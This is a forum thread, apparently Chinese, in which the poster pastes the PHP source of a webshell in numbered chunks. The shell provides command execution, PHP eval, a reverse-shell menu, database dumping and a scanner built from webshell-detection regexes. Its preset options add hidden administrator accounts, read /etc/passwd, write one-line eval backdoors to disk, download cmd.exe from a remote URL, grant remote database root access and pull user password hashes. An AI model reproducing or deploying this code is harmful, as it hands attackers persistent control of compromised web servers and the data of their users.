  417.             echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';
  418.             echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';
  419.             echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';
  420.         }
  421.         echo '<input type="submit" value=" O K "></form></center></body></html>';
  422.         exit;
  423.     }
  424.     if ((!isset($_POST['go'])) && (!isset($_POST['dir']))) {
  425.         if ($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3])
  426.             postinfo($infos[0]);
  427.     }
  428.     return $infos[2];
  429. }
  430. function subeval()
  431. {
  432.     if (isset($_POST['getpwd'])) {
  433.         echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">';
  434.     }
  435.     if (isset($_POST['groupcache'])) {
  436.         echo '<input type="hidden" name="groupcache" value="' . $_POST['groupcache'] . '">';
  437.     }
  438.     if (isset($_POST['forum'])) {
  439.         echo '<input type="hidden" name="forum[0]" value="' . $_POST['forum'][0] . '">';
  440.         echo '<input type="hidden" name="forum[1]" value="' . $_POST['forum'][1] . '">';
  441.         echo '<input type="hidden" name="forum[2]" value="' . $_POST['forum'][2] . '">';
  442.         echo '<input type="hidden" name="forum[3]" value="' . $_POST['forum'][3] . '">';
  443.         echo '<input type="hidden" name="forum[4]" value="' . $_POST['forum'][4] . '">';
  444.     }
  445.     return true;
  446. }
  447. if (isset($_POST['go'])) {
  448.     if ($_POST['go'] == 'down') {
  449.         $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']);
  450.         if (!filed($downfile)) {
  451.             $msg = '<h1>下载文件不存在</h1>';
  452.         }
  453.     }
  454. }
  455. ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">* {margin:0px;padding:0px;}body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}a{color:#000000;text-decoration:none;vertical-align:middle;}a:hover{color:#FF0000;text-decoration:underline;}p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;}input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}input[type=submit], input[type=button] {height:21px;}.tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}.tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}.main {width:963px;margin:0 auto;padding:10px;}.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}.msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}.tables {width:100%;}.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}.tables td {background:#F9F6F4;height:19px;padding-left:2px;}</style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("新建名",b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "所选文件"; $('act').value = a; } else { var msg = "目录"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("确定要删除"+msg+"吗")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?php
  456. echo VERSION;
  457. ?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?php
  458. echo $_SERVER['SERVER_ADDR'] . ' - ' . PHP_OS . ' - whoami(' . get_current_user() . ') - 【uid(' . getmyuid() . ') gid(' . getmygid() . ')】';
  459. if (isset($issql))
  460.     echo ' - 【' . $issql . '】';
  461. ?></div><?php
  462. $menu   = array(
  463.     'file' => '文件管理',
  464.     'scan' => '搜索文件',
  465.     'antivirus' => '扫描后门',
  466.     'exec' => '执行命令',
  467.     'phpeval' => '执行PHP',
  468.     'sql' => '执行SQL',
  469.     'backshell' => '反弹SHELL',
  470.     'info' => '系统信息'
  471. );
  472. $go     = array_key_exists($_POST['go'], $menu) ? $_POST['go'] : 'file';
  473. $nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']) . '/') : THISDIR;
  474. echo '<div class="tag">';
  475. foreach ($menu as $key => $name) {
  476.     echo '<a' . ($go == $key ? ' class="current"' : '') . ' href="javascript:void(0);" onclick="go(\'' . $key . '\',\'' . base64_encode($nowdir) . '\');">' . $name . '</a> ';
  477. }
  478. echo '</div>';
  479. echo '<form name="gofrm" id="gofrm" method="POST">';
  480. subeval();
  481. echo '<input type="hidden" name="go" id="go" value="">';
  482. echo '<input type="hidden" name="godir" id="godir" value="' . $nowdir . '">';
  483. echo '<input type="hidden" name="govar" id="govar" value="">';
  484. echo '</form>';
  485. switch ($_POST['go']) {
  486.     case "info":
  487.         if (EXISTS_PHPINFO) {
  488.             ob_start();
  489.             phpinfo(INFO_GENERAL);
  490.             $out = ob_get_contents();
  491.             ob_end_clean();
  492.             $tmp = array();
  493.             preg_match_all('/\<td class\="e"\>([Configure Command|Loaded Configuration File])+\s*\<\/td\>\<td class\="v"\>(.*)\<\/td\>/i', $out, $tmp);
  494.         }

复制代码
帖子长度超了,回帖接上


传送门:安全小知识:为什么使用盗版插件容易被挂马
回复

使用道具 举报

14

主题

12

回帖

76

积分

渐入佳境

贡献
0 点
金币
48 个
 楼主| 发表于 2019-7-15 10:08:32 | 显示全部楼层
  1. $infos = array(
  2. '程序说明' => '采用POST浏览是为了不记录浏览日志.<br>登录密码保存在页面中,所以无须COOKIE和SESSION.登录有效期为当前页面进程.<br>请勿将本程序作为非法用途.',
  3. '客户端浏览器信息' => $_SERVER['HTTP_USER_AGENT'],
  4. '被禁用的函数' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(无)',
  5. '被禁用的类' => get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(无)',
  6. 'PHP.ini配置路径' => $tmp[2][1] ? $tmp[2][1] : '(无)',
  7. 'PHP运行方式' => php_sapi_name(),
  8. 'PHP版本' => PHP_VERSION,
  9. 'PHP进程PID' => getmypid(),
  10. '客户端IP' => $_SERVER['REMOTE_ADDR'],
  11. '客户端文字编码' => $_SERVER['HTTP_ACCEPT_LANGUAGE'],
  12. 'Web服务端口' => $_SERVER['SERVER_PORT'],
  13. 'Web根目录' => $_SERVER['DOCUMENT_ROOT'],
  14. 'Web执行脚本' => $_SERVER['SCRIPT_FILENAME'],
  15. 'Web规范CGI版本' => $_SERVER['GATEWAY_INTERFACE'],
  16. 'Web管理员Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(无)',
  17. '当前磁盘总大小' => size(disk_total_space('.')),
  18. '当前磁盘可用空间' => size(disk_free_space('.')),
  19. 'POST最大字数量' => get_cfg_var("post_max_size"),
  20. '允许最大上传文件' => get_cfg_var("upload_max_filesize"),
  21. '程序最大使用内存量' => get_cfg_var("memory_limit"),
  22. '程序最长运行时间' => get_cfg_var("max_execution_time") . '秒',
  23. '是否支持Fsockopen' => function_exists('fsockopen') ? '是' : '否',
  24. '是否支持Socket' => function_exists('socket_close') ? '是' : '否',
  25. '是否支持Pcntl' => function_exists('pcntl_exec') ? '是' : '否',
  26. '是否支持Curl' => function_exists('curl_version') ? '是' : '否',
  27. '是否支持Zlib' => function_exists('gzclose') ? '是' : '否',
  28. '是否支持FTP' => function_exists('ftp_login') ? '是' : '否',
  29. '是否支持XML' => function_exists('xml_set_object') ? '是' : '否',
  30. '是否支持GD_Library' => function_exists('imageline') ? '是' : '否',
  31. '是否支持COM组建' => class_exists('COM') ? '是' : '否',
  32. '是否支持ODBC组建' => function_exists('odbc_close') ? '是' : '否',
  33. '是否支持IMAP邮件' => function_exists('imap_close') ? '是' : '否',
  34. '是否运行于安全模式' => get_cfg_var("safemode") ? '是' : '否',
  35. '是否允许URL打开文件' => get_cfg_var("allow_url_fopen") ? '是' : '否',
  36. '是否允许动态加载链接库' => get_cfg_var("enable_dl") ? '是' : '否',
  37. '是否显示错误信息' => get_cfg_var("display_errors") ? '是' : '否',
  38. '是否自动注册全局变量' => get_cfg_var("register_globals") ? '是' : '否',
  39. '是否使用反斜线引用字符串' => get_cfg_var("magic_quotes_gpc") ? '是' : '否',
  40. 'PHP编译参数' => $tmp[2][0] ? $tmp[2][0] : '(无)'
  41. );
  42. echo '<div class="msgbox">' . $msg . '</div>';
  43. echo '<table class="tables"><tr><th style="width:26%;">名称</th><th>参数</th></tr>';
  44. foreach ($infos as $name => $var) {
  45. echo '<tr><td>' . $name . '</td><td>' . $var . '</td></tr>';
  46. }
  47. echo '</table>';
  48. break;
  49. case "exec":
  50. $cmd = $win ? 'dir' : 'ls -al';
  51. $res = array(
  52. 'res' => '命令回显',
  53. 'msg' => $msg
  54. );
  55. $str = isset($_POST['str']) ? $_POST['str'] : 'fun';
  56. if (isset($_POST['cmd'])) {
  57. $cmd = $_POST['cmd'];
  58. $cwd = $str == 'fun' ? THISDIR : 'com';
  59. $res = command($cmd, $cwd);
  60. }
  61. echo '<div class="msgbox">' . $res['msg'] . '</div>';
  62. echo '<form method="POST">';
  63. subeval();
  64. echo '<input type="hidden" name="go" id="go" value="exec">';
  65. echo '<div class="actall">命令 <input type="text" name="cmd" id="cmd" value="' . htmlspecialchars($cmd) . '" style="width:398px;"> ';
  66. echo '<select name="str">';
  67. $selects = array(
  68. 'fun' => 'phpfun',
  69. 'com' => 'wscript'
  70. );
  71. foreach ($selects as $var => $name) {
  72. echo '<option value="' . $var . '"' . ($var == $str ? ' selected' : '') . '>' . $name . '</option>';
  73. }
  74. echo '</select> ';
  75. echo '<select onchange="$(\'cmd\').value=options[selectedIndex].value">';
  76. echo '<option>---命令集合---</option>';
  77. echo '<option value="echo ' . htmlspecialchars('"<?php phpinfo();?>"') . ' >> ' . THISDIR . 't00ls.txt">写文件</option>';
  78. echo '<option value="whoami">我是谁</option>';
  79. echo '<option value="net user t00ls t00ls /add">Win-添加用户</option>';
  80. echo '<option value="net localgroup administrators t00ls /add">Win-设用户组</option>';
  81. echo '<option value="netstat -an">Win-查看端口</option>';
  82. echo '<option value="ipconfig /all">Win-查看地址</option>';
  83. echo '<option value="net start">Win-查看服务</option>';
  84. echo '<option value="tasklist">Win-查看进程</option>';
  85. echo '<option value="id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a">Linux-版本集合</option>';
  86. echo '<option value="/usr/sbin/useradd -u 0 -o -g 0 t00ls">Linux-添加用户</option>';
  87. echo '<option value="cat /etc/passwd">Linux-查看用户</option>';
  88. echo '<option value="/bin/netstat -tnl">Linux-查看端口</option>';
  89. echo '<option value="/sbin/ifconfig -a">Linux-查看地址</option>';
  90. echo '<option value="/sbin/chkconfig --list">Linux-查看服务</option>';
  91. echo '<option value="/bin/ps -ef">Linux-查看进程</option>';
  92. echo '</select> ';
  93. echo '<input type="submit" style="width:50px;" value="执行">';
  94. echo '</div><div class="actall"><textarea style="width:698px;height:368px;">' . htmlspecialchars($res['res']) . '</textarea></div></form>';
  95. break;
  96. case "scan":
  97. $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
  98. $keyword = isset($_POST['keyword']) ? $_POST['keyword'] : '';
  99. $include = isset($_POST['include']) ? chop($_POST['include']) : '.php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py';
  100. $filters = isset($_POST['filters']) ? chop($_POST['filters']) : 'html|css|img|images|image|style|js';
  101. echo '<div class="msgbox">' . $msg . '</div>';
  102. echo '<form method="POST">';
  103. subeval();
  104. echo '<input type="hidden" name="go" id="go" value="scan">';
  105. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  106. echo '<tr><td>搜索路径</td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';
  107. echo '<tr><td>搜索内容</td><td><input type="text" name="keyword" value="' . htmlspecialchars($keyword) . '" style="width:500px;"> (文件名或文件内容)</td></tr>';
  108. echo '<tr><td>文件后缀</td><td><input type="text" name="include" value="' . htmlspecialchars($include) . '" style="width:500px;"> (用"|"分割, 为空则搜索所有文件)</td></tr>';
  109. echo '<tr><td>过滤目录</td><td><input type="text" name="filters" value="' . htmlspecialchars($filters) . '" style="width:500px;"> (用"|"分割, 为空则不过滤目录)</td></tr>';
  110. echo '<tr><td>搜索方式</td><td><label><input type="radio" name="type" value="0"' . ($_POST['type'] ? '' : ' checked') . '>搜索文件名</label> ';
  111. echo '<label><input type="radio" name="type" value="1"' . ($_POST['type'] ? ' checked' : '') . '>搜索包含文字</label> ';
  112. echo '<label><input type="checkbox" name="char" value="1"' . ($_POST['char'] ? ' checked' : '') . '>匹配大小写</label></td></tr>';
  113. echo '<tr><td>搜索范围</td><td><label><input type="radio" name="range" value="0"' . ($_POST['range'] ? '' : ' checked') . '>将搜索应用于该文件夹,子文件夹和文件</label> ';
  114. echo '<label><input type="radio" name="range" value="1"' . ($_POST['range'] ? ' checked' : '') . '>仅将搜索应用于该文件夹</label></td></tr>';
  115. echo '<tr><td>操作</td><td><input type="submit" style="width:80px;" value="搜索"></td></tr>';
  116. echo '</table></form>';
  117. if ($keyword != '') {
  118. flush();
  119. ob_flush();
  120. echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
  121. $incs = $include == '' ? false : explode('|', $include);
  122. $fits = $filters == '' ? false : explode('|', $filters);
  123. scanfile(strdir($scandir . '/'), $keyword, $incs, $fits, $_POST['type'], $_POST['char'], $_POST['range'], $nowdir);
  124. echo '搜索完成</div>';
  125. }
  126. break;
  127. case "antivirus":
  128. $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
  129. $typearr = isset($_POST['dir']) ? $_POST['types'] : array(
  130. 'php' => '.php'
  131. );
  132. echo '<div class="msgbox">' . $msg . '</div>';
  133. echo '<form method="POST">';
  134. subeval();
  135. echo '<input type="hidden" name="go" id="go" value="antivirus">';
  136. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  137. echo '<tr><td>扫描路径</td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';
  138. echo '<tr><td>查杀类型</td><td>';
  139. $types = array(
  140. 'php' => '.php',
  141. 'asp+aspx' => '.as|.cs|.cer',
  142. 'jsp' => '.jsp'
  143. );
  144. foreach ($types as $key => $ex)
  145. echo '<label title="' . $ex . '"><input type="checkbox" name="types[' . $key . ']" value="' . $ex . '"' . ($typearr[$key] == $ex ? ' checked' : '') . '>' . $key . '</label> ';
  146. echo '</td></tr><tr><td>操作</td><td><input type="submit" style="width:80px;" value="扫描"></td></tr>';
  147. echo '</table></form>';
  148. if (count($_POST['types']) > 0) {
  149. $matches = array(
  150. 'php' => array(
  151. '/function\_exists\s*\(\s*[\'|"](popen|exec|proc\_open|system|passthru)+[\'|"]\s*\)/i',
  152. '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
  153. '/(udp\:\/\/(.*)\;)+/i',
  154. '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  155. '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
  156. '/(eval|assert|include|require)+\s*\((.*)(base64\_decode|file\_get\_contents|php\:\/\/input)+/i',
  157. '/(eval|assert|include|require|array\_map)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
  158. '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+(.*)(eval|assert|include|require)+\s*\(\s*\$(\w+)\s*\)/i',
  159. '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\(\s*\$(.*)\)/i',
  160. '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\)/i',
  161. '/(fopen|fwrite|fpust|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\](.*)\)/i',
  162. '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
  163. '/new com\s*\(\s*[\'|"]shell(.*)[\'|"]\s*\)/i',
  164. '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  165. '/\$\_\=(.*)\$\_/i'
  166. ),
  167. 'asp+aspx' => array(
  168. '/(VBScript\.Encode|WScript\.shell|Shell\.Application|Scripting\.FileSystemObject)+/i',
  169. '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i',
  170. '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i',
  171. '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i',
  172. '/\<script\s*runat\s*\=(.*)server(.*)\>(.*)\<\/script\>/i',
  173. '/Load\s*\((.*)Request/i',
  174. '/StreamWriter\(Server\.MapPath(.*)\.Write\(Request/i'
  175. ),
  176. 'jsp' => array(
  177. '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i',
  178. '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i',
  179. '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i',
  180. '/Runtime\.getRuntime\(\)\.exec\((.*)\)/i',
  181. '/FileOutputStream\(application\.getRealPath(.*)request/i'
  182. )
  183. );
  184. flush();
  185. ob_flush();
  186. echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
  187. antivirus(strdir($scandir . '/'), $typearr, $matches, $nowdir);
  188. echo '扫描完成</div>';
  189. }
  190. break;
  191. case "phpeval":
  192. if (isset($_POST['phpcode'])) {
  193. $phpcode = chop($_POST['phpcode']);
  194. ob_start();
  195. if (substr($phpcode, 0, 2) == '<?' && substr($phpcode, -2) == '?>') {
  196. @eval('?>' . $phpcode . '<?php ');
  197. } else {
  198. @eval($phpcode);
  199. }
  200. $out = ob_get_contents();
  201. ob_end_clean();
  202. } else {
  203. $phpcode = 'phpinfo();';
  204. $out = '回显窗口';
  205. }
  206. echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHJ1bmNvZGUob2JqbmFtZSkge3ZhciB3aW5uYW1lID0gd2luZG93Lm9wZW4oJycsIl9ibGFuayIsJycpO3ZhciBvYmogPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmpuYW1lKTt3aW5uYW1lLmRvY3VtZW50Lm9wZW4oJ3RleHQvaHRtbCcsJ3JlcGxhY2UnKTt3aW5uYW1lLm9wZW5lciA9IG51bGw7d2lubmFtZS5kb2N1bWVudC53cml0ZShvYmoudmFsdWUpO3dpbm5hbWUuZG9jdW1lbnQuY2xvc2UoKTt9PC9zY3JpcHQ+');
  207. echo '<div class="msgbox">' . $msg . '</div>';
  208. echo '<form method="POST">';
  209. subeval();
  210. echo '<input type="hidden" name="go" id="go" value="phpeval">';
  211. echo '<div class="actall"><p><textarea name="phpcode" id="phpcode" style="width:698px;height:180px;">' . htmlspecialchars($phpcode) . '</textarea></p><p>';
  212. echo '<select onchange="$(\'phpcode\').value=options[selectedIndex].value">';
  213. echo '<option>---插件代码---</option>';
  214. echo '<option value="echo readfile(\'C:/web/t00ls.php\');">读取文件</option>';
  215. echo '<option value="$fp=fopen(\'C:/web/t00ls.php\',\'w\');echo fputs($fp,\'<?php eval($_POST[cmd]);?>\')?\'Success!\':\'Fail!\';fclose($fp);">写入文件</option>';
  216. echo '<option value="echo copy(\'C:/web/t00ls1.php\',\'C:/web/t00ls2.php\')?\'Success!\':\'Fail!\';">复制文件</option>';
  217. echo '<option value="echo file_put_contents(\'' . THISDIR . 'cmd.exe\', file_get_contents(\'http://www.baidu.com/cmd.exe\'))?\'Success!\':\'Fail!\';">远程下载</option>';
  218. echo '<option value="print_r($_SERVER);">环境变量</option>';
  219. echo '</select> ';
  220. echo '<input type="submit" style="width:80px;" value="执行"></p></div>';
  221. echo '</form><div class="actall"><p><textarea id="evalcode" style="width:698px;height:180px;">' . htmlspecialchars($out) . '</textarea></p><p><input type="button" value="以HTML运行以上代码" onclick="runcode(\'evalcode\')"></p></div>';
  222. break;
  223. case "sql":
  224. if ((!empty($_POST['sqlhost'])) && (!empty($_POST['sqluser'])) && (!empty($_POST['names']))) {
  225. $type = $_POST['type'];
  226. $sqlhost = $_POST['sqlhost'];
  227. $sqluser = $_POST['sqluser'];
  228. $sqlpass = $_POST['sqlpass'];
  229. $sqlname = $_POST['sqlname'];
  230. $sqlcode = $_POST['sqlcode'];
  231. $names = $_POST['names'];
  232. switch ($type) {
  233. case "PostgreSql":
  234. if (function_exists('pg_close')) {
  235. if (strstr($sqlhost, ':')) {
  236. $array = explode(':', $sqlhost);
  237. $sqlhost = $array[0];
  238. $sqlport = $array[1];
  239. } else {
  240. $sqlport = 5432;
  241. }
  242. $dbconn = @pg_connect("host=$sqlhost port=$sqlport dbname=$sqlname user=$sqluser password=$sqlpass");
  243. if ($dbconn) {
  244. $msg = '<h2>连接' . $type . '成功 </h2>';
  245. pg_query('set client_encoding=' . $names);
  246. $result = pg_query($sqlcode);
  247. if ($result) {
  248. $msg .= '<h2> - 执行SQL成功</h2>';
  249. while ($array = pg_fetch_array($result)) {
  250. $rows[] = $array;
  251. }
  252. } else {
  253. $msg .= '<h1> - 执行SQL失败</h1>';
  254. $rows = array(
  255. 'error' => pg_result_error($result)
  256. );
  257. }
  258. pg_free_result($result);
  259. } else {
  260. $msg = '<h1>连接' . $type . '失败</h1>';
  261. }
  262. @pg_close($dbconn);
  263. } else {
  264. $msg = '<h1>不支持' . $type . '</h1>';
  265. }
  266. break;
  267. case "MsSql":
  268. if (function_exists('mssql_close')) {
  269. $dbconn = @mssql_connect($sqlhost, $sqluser, $sqlpass);
  270. if ($dbconn) {
  271. $msg = '<h2>连接' . $type . '成功 </h2>';
  272. mssql_select_db($sqlname, $dbconn);
  273. $result = mssql_query($sqlcode);
  274. if ($result) {
  275. $msg .= '<h2> - 执行SQL成功</h2>';
  276. while ($array = mssql_fetch_array($result)) {
  277. $rows[] = $array;
  278. }
  279. } else {
  280. $msg .= '<h1> - 执行SQL失败</h1>';
  281. }
  282. @mssql_free_result($result);
  283. } else {
  284. $msg = '<h1>连接' . $type . '失败</h1>';
  285. }
  286. @mssql_close($dbconn);
  287. } else {
  288. $msg = '<h1>不支持' . $type . '</h1>';
  289. }
  290. break;
  291. case "Oracle":
  292. if (function_exists('oci_close')) {
  293. $conn = @oci_connect($sqluser, $sqlpass, $sqlhost . '/' . $sqlname);
  294. if ($conn) {
  295. $msg = '<h2>连接' . $type . '成功 </h2>';
  296. $stid = oci_parse($conn, $sqlcode);
  297. oci_execute($stid);
  298. if ($stid) {
  299. $msg .= '<h2> - 执行SQL成功</h2>';
  300. while (($array = oci_fetch_array($stid, OCI_ASSOC))) {
  301. $rows[] = $array;
  302. }
  303. } else {
  304. $msg .= '<h1> - 执行SQL失败</h1>';
  305. $e = oci_error();
  306. $rows = array(
  307. 'error' => $e['message']
  308. );
  309. }
  310. oci_free_statement($stid);
  311. } else {
  312. $e = oci_error();
  313. $rows = array(
  314. 'error' => $e['message']
  315. );
  316. $msg = '<h1>连接' . $type . '失败</h1>';
  317. }
  318. @oci_close($conn);
  319. } else {
  320. $msg = '<h1>不支持' . $type . '</h1>';
  321. }
  322. break;
  323. case "MySql":
  324. if (function_exists('mysql_close')) {
  325. $conn = mysql_connect(strstr($sqlhost, ':') ? $sqlhost : $sqlhost . ':3306', $sqluser, $sqlpass, $sqlname);
  326. if ($conn) {
  327. $msg = '<h2>连接' . $type . '成功 </h2>';
  328. if (substr($sqlcode, 0, 7) == 't00lsa') {
  329. $array = array();
  330. $data = '';
  331. $i = 0;
  332. preg_match_all('/t00lsa\s*\'(.*)\'\s*t00lsb\s*\'(.*)\'\s*t00lsc\s*\'(.*)\'\s*t00lsfile\s*\'(.*)\'/i', $sqlcode, $array);
  333. if ($array[1][0] && $array[2][0] && $array[3][0] && $array[4][0]) {
  334. mysql_select_db($array[1][0], $conn);
  335. mysql_query('set names ' . $names, $conn);
  336. $spidercode = 'select ' . $array[3][0] . ' from `' . $array[2][0] . '`;';
  337. $result = mysql_query($spidercode, $conn);
  338. if ($result) {
  339. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  340. $data .= join(' |x| ', $row) . "\r\n";
  341. $i++;
  342. }
  343. if ($data) {
  344. $file = strdir($array[4][0]);
  345. $msg .= filew($file, $data, 'w') ? '<h2> - 脱库成功</h2>' : '<h1> - 导出文件失败</h1>';
  346. $rows = array(
  347. 'file' => $file,
  348. size(filesize($file)) => '共获取' . $i . '条数据'
  349. );
  350. } else {
  351. $msg .= '<h1> - 没有数据</h1>';
  352. }
  353. } else {
  354. $msg .= '<h1> - 执行SQL失败</h1>';
  355. $rows = array(
  356. 'errno' => mysql_errno(),
  357. 'error' => mysql_error()
  358. );
  359. }
  360. } else {
  361. $msg .= '<h1> - 脱库语句错误</h1>';
  362. }
  363. } elseif (!empty($sqlcode)) {
  364. mysql_select_db($sqlname, $conn);
  365. mysql_query('set names ' . $names, $conn);
  366. $result = mysql_query($sqlcode, $conn);
  367. if ($result) {
  368. $msg .= '<h2> - 执行SQL成功</h2>';
  369. while ($array = mysql_fetch_array($result, MYSQL_ASSOC)) {
  370. $rows[] = $array;
  371. }
  372. } else {
  373. $msg .= '<h1> - 执行SQL失败</h1>';
  374. $rows = array(
  375. 'errno' => mysql_errno(),
  376. 'error' => mysql_error()
  377. );
  378. }
  379. }
  380. mysql_free_result($result);
  381. } else {
  382. $msg = '<h1>连接' . $type . '失败</h1>';
  383. $rows = array(
  384. 'errno' => mysql_errno(),
  385. 'error' => mysql_error()
  386. );
  387. }
  388. mysql_close($conn);
  389. } else {
  390. $msg = '<h1>不支持' . $type . '</h1>';
  391. }
  392. break;
  393. }
  394. } else {
  395. $type = 'MySql';
  396. $sqlhost = 'localhost:3306';
  397. $sqluser = 'root';
  398. $sqlpass = '123456';
  399. $sqlname = 'mysql';
  400. $sqlcode = 'select version();';
  401. $names = 'gbk';
  402. }
  403. echo '<div class="msgbox">' . $msg . '</div>';
  404. echo '<form method="POST">';
  405. subeval();
  406. echo '<input type="hidden" name="go" id="go" value="sql">';
  407. echo '<table class="tables"><tr><th style="width:15%;">名称</th><th>设置</th></tr>';
  408. echo '<tr><td>支持类型</td><td>';
  409. $dbs = array(
  410. 'MySql',
  411. 'MsSql',
  412. 'Oracle',
  413. 'PostgreSql'
  414. );
  415. foreach ($dbs as $dbname) {
  416. echo '<label><input type="radio" name="type" value="' . $dbname . '"' . ($type == $dbname ? ' checked' : '') . '>' . $dbname . '</label> ';
  417. }
  418. echo '</td></tr><tr><td>连接</td><td>地址 <input type="text" name="sqlhost" style="width:188px;" value="' . $sqlhost . '"> ';
  419. echo '用户 <input type="text" name="sqluser" style="width:108px;" value="' . $sqluser . '"> ';
  420. echo '密码 <input type="text" name="sqlpass" style="width:108px;" value="' . $sqlpass . '"> ';
  421. echo '库名 <input type="text" name="sqlname" style="width:108px;" value="' . $sqlname . '"></td></tr>';
  422. echo '<tr><td>语句<br>';
  423. echo '<select onchange="$(\'sqlcode\').value=options[selectedIndex].value">';
  424. echo '<option value="select version();">---语句集合---</option>';
  425. echo '<option value="select \'<?php eval ($_POST[cmd]);?>\' into outfile \'D:/web/shell.php\';">写入文件</option>';
  426. echo '<option value="GRANT ALL PRIVILEGES ON *.* TO \'' . $sqluser . '\'@\'%\' IDENTIFIED BY \'' . $sqlpass . '\' WITH GRANT OPTION;">开启外连</option>';
  427. echo '<option value="show variables;">系统变量</option>';
  428. echo '<option value="create database t00ls;">创建数据库</option>';
  429. echo '<option value="create table `t00ls` (`id` INT(10) NOT NULL ,`user` VARCHAR(32) NOT NULL ,`pass` VARCHAR(32) NOT NULL) TYPE = MYISAM;">创建数据表</option>';
  430. echo '<option value="show databases;">显示数据库</option>';
  431. echo '<option value="show tables from `' . $sqlname . '`;">显示数据表</option>';
  432. echo '<option value="show columns from `t00ls`;">显示表结构</option>';
  433. echo '<option value="drop table `t00ls`;">删除数据表</option>';
  434. echo '<option value="select username,password,salt,email from `pre_ucenter_members` limit 0,30;">显示字段</option>';
